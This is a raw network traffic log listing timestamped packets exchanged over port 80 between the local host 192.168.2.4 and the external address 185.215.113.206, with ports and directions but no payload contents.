Nov 1, 2024 03:45:34.129518986 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129528999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129529953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129539013 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129542112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129553080 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129568100 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129571915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129571915 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129600048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129776955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129789114 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129798889 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129807949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129810095 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129821062 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129831076 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129832029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129843950 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129854918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129854918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129868984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129878044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129890919 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.129961014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129972935 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.129992008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130048037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130064964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130076885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130078077 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130088091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130105019 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130139112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130140066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130199909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130218029 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130228996 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130239964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130251884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130261898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130268097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130268097 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130274057 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130299091 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130393982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130476952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130489111 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130498886 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130510092 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130522966 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130533934 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130536079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130544901 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130554914 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130558014 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130575895 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130587101 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130641937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130665064 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130784988 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130811930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130822897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130832911 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130844116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130856037 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130861044 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130867004 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130878925 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130878925 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130891085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130897045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130903959 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130913019 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.130918980 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130958080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.130958080 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.131016016 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131028891 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131037951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131048918 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131059885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131064892 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.131066084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.131087065 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.131130934 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.161470890 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161519051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161530018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161549091 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161556005 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.161565065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161577940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.161591053 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.161628962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.161628962 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.161700964 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.163737059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163747072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163758039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163799047 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163810968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163826942 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163827896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.163827896 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.163837910 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.163860083 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.164089918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.204561949 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.204572916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.204612017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.204619884 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.204641104 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.204888105 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.244891882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.244935989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.244946003 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.244956017 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.244959116 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245012999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245012999 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245033979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245060921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245076895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245186090 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245197058 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245208025 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245214939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245218992 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245237112 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245275974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245275974 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245289087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245300055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245310068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245421886 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.245626926 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245637894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.245739937 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246022940 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246035099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246043921 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246099949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246099949 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246131897 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246144056 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246160030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246170998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246181011 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246198893 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246233940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246233940 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246427059 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246437073 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246447086 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246458054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246473074 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246484041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246484995 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246494055 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246499062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246499062 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246505976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246530056 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246571064 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246577024 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246587038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246597052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246607065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246617079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246629000 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246630907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246634007 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246656895 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246659994 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246669054 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246679068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246685982 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246690035 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246701002 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246716022 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246718884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246718884 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246726036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246737957 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.246748924 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246762991 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.246989012 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247049093 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247061968 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247071028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247081995 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247092962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247102976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247123957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247184038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247214079 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247304916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247323036 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247333050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247334957 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247347116 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247358084 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247368097 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247378111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247378111 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247379065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247390032 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247400999 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247404099 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247426033 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247493029 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247641087 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247653008 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247662067 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247673988 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247684956 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247711897 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247766018 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247777939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247787952 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247790098 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247800112 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247811079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247818947 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247822046 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247832060 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247832060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247843027 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247859955 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247859955 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247872114 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247879028 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247889042 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247901917 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247911930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247919083 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.247920990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247920990 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247932911 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.247999907 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248337030 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248347998 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248358965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248368979 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248380899 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248390913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248398066 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248403072 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248414040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248426914 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248431921 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248440981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248461008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248461008 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248613119 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248625040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248636961 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248646021 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248661041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248673916 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248709917 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248738050 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248749971 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248760939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248769045 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248774052 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248784065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248790979 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248797894 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248806953 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248811007 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248819113 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248828888 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248840094 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248851061 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248852968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248852968 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248859882 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.248874903 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248914003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.248914003 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.249160051 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.249170065 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.249180079 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.249185085 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.249226093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.249226093 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.278870106 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.278892040 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.278904915 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.278914928 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.278928041 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.278933048 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.278950930 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.279158115 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.280884981 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280914068 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280924082 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280939102 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.280957937 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280967951 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280986071 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.280989885 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.280998945 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.281007051 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.281074047 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.321897984 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.321918964 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.321928978 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.322010040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.322010040 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362073898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362119913 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362131119 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362158060 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362175941 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362207890 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362226963 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362237930 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362263918 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362282038 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362298965 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362314939 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362397909 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362411976 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362416983 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362421989 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362452984 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362529039 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362538099 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362564087 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362576962 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362587929 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362611055 CET	49756	80	192.168.2.4	185.215.113.206
Nov 1, 2024 03:45:34.362670898 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362682104 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362692118 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362700939 CET	80	49756	185.215.113.206	192.168.2.4
Nov 1, 2024 03:45:34.362700939 CET	49756	80	192.168.2.4	185.215.113.206
